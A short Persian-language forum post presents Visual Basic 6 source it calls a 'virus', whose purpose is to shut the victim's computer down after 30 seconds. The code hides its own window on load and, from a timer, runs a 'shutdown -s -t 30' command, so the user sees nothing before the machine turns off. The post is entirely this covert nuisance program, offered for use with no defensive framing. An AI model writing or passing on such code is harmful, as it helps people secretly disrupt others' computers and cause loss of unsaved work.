مرکز انجمنهای تخصصی

به نام خداونده دوست
كار اين ويروس خاموش كردن كامپيوتر 30 ثانيه
[align=left]Private Sub I()
Shell "shutdown -s -t 30"
End Sub

Private Sub Form_Load()
Me.Hide
End Sub

Private Sub Timer1_Timer()
Call I
End